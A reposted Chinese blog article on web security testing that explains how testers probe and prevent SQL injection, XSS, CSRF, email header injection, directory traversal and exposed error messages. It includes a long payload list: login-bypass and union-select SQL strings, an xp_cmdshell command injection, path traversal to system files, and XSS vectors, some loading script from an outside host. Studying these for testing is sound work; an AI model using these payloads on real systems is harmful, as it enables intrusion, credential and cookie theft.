WEB的安全性測試要素【轉】

原文連接:http://www.cnblogs.com/zgqys1980/archive/2009/05/13/1455710.html

WEB的安全性測試要素

1.SQL Injection(SQL 注入)php

(1)如何進行SQL注入測試?css

  • 首先找到帶有參數傳遞的URL頁面,如搜索頁面,登陸頁面,提交評論頁面等等.
注1:對於未明顯標識在URL中傳遞參數的,能夠經過查看HTML源代碼中的"FORM"標籤來辨別是否還有參數傳遞.在<FORM>和</FORM>的標籤中間的每個參數傳遞都有可能被利用.

<form id="form_search" action="/search/" method="get"> html

<div>java

<input type="text" name="q" id="search_q" value="" />sql

<input name="search" type="image" src="/media/images/site/search_btn.gif" />shell

<a href="/search/" class="fl">Gamefinder</a>數據庫

</div>express

</form>

注2:當你找不到有輸入行爲的頁面時,能夠嘗試找一些帶有某些參數的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
  • 其次,在URL參數或表單中加入某些特殊的SQL語句或SQL片段,如在登陸頁面的URL中輸入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

 

注1:根據實際狀況,SQL注入請求可使用如下語句:windows

' or 1=1- -安全

" or 1=1- -

or 1=1- -

' or 'a'='a

" or "a"="a

') or ('a'='a
   注2:爲何是OR,以及',――是特殊的字符呢?

例子:在登陸時進行身份驗證時,一般使用以下語句來進行驗證:sql=select * from user where username='username' and pwd='password'

如 輸入http://duck/index.asp?username=admin' or 1='1&pwd=11,SQL語句會變成如下:sql=select * from user where username='admin' or 1='1' and password='11'

'與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行.

接下來是OR查詢條件,OR是一個邏輯運算符,在判斷多個條件的時候,只要一個成立,則等式就成立,後面的AND就再也不時行判斷了,也就是說咱們繞過了密碼驗證,咱們只用用戶名就能夠登陸.

如 輸入http://duck/index.asp?username=admin'--&pwd=11,SQL語句會變成如下sql=select * from user where name='admin' --' and pasword='11',

'與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行
接下來是"--"查詢條件,「--」是忽略或註釋,上述經過鏈接符註釋掉後面的密碼驗證(注:對ACCESS數據庫無效).
  • 最後,驗證是否能入侵成功或是出錯的信息是否包含關於數據庫服務器的相關信息;若是能說明存在SQL安全漏洞.
  • 試想,若是網站存在SQL注入的危險,對於有經驗的惡意用戶還可能猜出數據庫表和表結構,並對數據庫表進行增\刪\改的操做,這樣形成的後果是很是嚴重的.

(2)如何預防SQL注入?

   從應用程序的角度來說,咱們要作如下三項工做:

  • 轉義敏感字符及字符串(SQL的敏感字符包括「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」 ‘ 」,」--」,」%」,」0x」,」 ><=!-*/()| 」,和」空格」).
  • 屏蔽出錯信息:阻止攻擊者知道攻擊的結果

  • 在服務端正式處理以前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法以前,服務端拒絕進行關鍵性的處理操做.

   從測試人員的角度來說,在程序開發前(即需求階段),咱們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,咱們通常檢驗如下幾項安全性問題:

  • 需求中應說明表單中某一FIELD的類型,長度,以及取值範圍(主要做用就是禁止輸入敏感字符)
  • 需求中應說明若是超出表單規定的類型,長度,以及取值範圍的,應用程序應給出不包含任何代碼或數據庫信息的錯誤提示.

   固然在執行測試的過程當中,咱們也需求對上述兩項內容進行測試.

2.Cross-site scritping(XSS):(跨站點腳本攻擊)

(1)如何進行XSS測試?

 

  • <!--[if !supportLists]-->首先,找到帶有參數傳遞的URL,如登陸頁面,搜索頁面,提交評論,發表留言頁面等等。
  • <!--[if !supportLists]-->其次,在頁面參數中輸入以下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試:

 

<scrīpt>alert(document.cookie)</scrīpt>


      注:其它的XSS測試語句

 

><scrīpt>alert(document.cookie)</scrīpt>
='><scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(vulnerable)</scrīpt>
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
<scrīpt>alert('XSS')</scrīpt>
<img src="javascrīpt:alert('XSS')">
%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
%3f.jsp
%3f.jsp
&lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
<scrīpt>alert('Vulnerable')</scrīpt>
?sql_debug=1
a%5c.aspx
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
a/
a?<scrīpt>alert('Vulnerable')</scrīpt>
"><scrīpt>alert('Vulnerable')</scrīpt>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascrīpt:alert('XSS');">
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
<IMG SRC=" javascrīpt:alert('XSS');">
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
<BODY BACKGROUND="javascrīpt:alert('XSS')">
<BODY ōNLOAD=alert('XSS')>
<IMG DYNSRC="javascrīpt:alert('XSS')">
<IMG LOWSRC="javascrīpt:alert('XSS')">
<BGSOUND SRC="javascrīpt:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
<IMG SRC='vbscrīpt:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescrīpt:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
<IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
<FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascrīpt:alert('XSS')">
<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
<BASE HREF="javascrīpt:alert('XSS');//">
getURL("javascrīpt:alert('XSS')")
a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascrīpt:alert('XSS');">
"> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
<scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
<IMG SRC="javascrīpt:alert('XSS')"
<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

 

  • 最後,當用戶瀏覽時便會彈出一個警告框,內容顯示的是瀏覽者當前的cookie串,這就說明該網站存在XSS漏洞。
  • 試想若是咱們注入的不是以上這個簡單的測試代碼,而是一段常常精心設計的惡意腳本,當用戶瀏覽此帖時,cookie信息就可能成功的被攻擊者獲取。此時瀏覽者的賬號就很容易被攻擊者掌控了。

(2)如何預防XSS漏洞?
    從應用程序的角度來說,要進行如下幾項預防:

  • 對Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等語句或腳本進行轉義.
  • 在服務端正式處理以前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字符的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法以前,服務端拒絕進行關鍵性的處理操做.

    從測試人員的角度來說,要從需求檢查和執行測試過程兩個階段來完成XSS檢查:

  • 在需求檢查過程當中對各輸入項或輸出項進行類型、長度以及取值範圍進行驗證,着重驗證是否對HTML或腳本代碼進行了轉義。
  • 執行測試過程當中也應對上述項進行檢查。


3.CSRF:(跨站點僞造請求)
    CSRF儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,而且攻擊方式幾乎相左。
    XSS是利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。
    XSS也好,CSRF也好,它的目的在於竊取用戶的信息,如SESSION 和 COOKIES(關於SESSION 和COOKIES的介紹請參見個人另外一篇BLOG:http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),
   (1)如何進行CSRF測試?
    關於這個主題本人也正在研究,目前主要經過安全性測試工具來進行檢查。
   (2)如何預防CSRF漏洞?

4.Email Header Injection(郵件標頭注入)  
    Email Header Injection:若是表單用於發送email,表單中可能包括「subject」輸入項(郵件標題),咱們要驗證subject中應能escape掉「\n」標識。

  • <!--[if !supportLists]--> <!--[endif]-->由於「\n」是新行,若是在subject中輸入「hello\ncc:spamvictim@example.com」,可能會造成如下
Subject: hello
cc: spamvictim@example.com
  • <!--[if !supportLists]--> <!--[endif]-->若是容許用戶使用這樣的subject,那他可能會給利用這個缺陷經過咱們的平臺給其它用戶發送垃圾郵件。

5.Directory Traversal(目錄遍歷)
   (1)如何進行目錄遍歷測試?

  • 目錄遍歷產生的緣由是:程序中沒有過濾用戶輸入的「../」和「./」之類的目錄跳轉符,致使惡意用戶能夠經過提交目錄跳轉來遍歷服務器上的任意文件。
  • 測試方法:在URL中輸入必定數量的「../」和「./」,驗證系統是否ESCAPE掉了這些目錄跳轉符。

   (2)如何預防目錄遍歷?

  • 限制Web應用在服務器上的運行
  • 進行嚴格的輸入驗證,控制用戶輸入非法路徑

6.exposed error messages(錯誤信息)
(1)如何進行測試?

  • 首先找到一些錯誤頁面,好比404,或500頁面。
  • 驗證在調試未開經過的狀況下,是否給出了友好的錯誤提示信息好比「你訪問的頁面不存在」等,而並不是曝露一些程序代碼。

(2)如何預防?

  • 測試人員在進行需求檢查時,應該對出錯信息進行詳細查,好比是否給出了出錯信息,是否給出了正確的出錯信息。
相關文章
相關標籤/搜索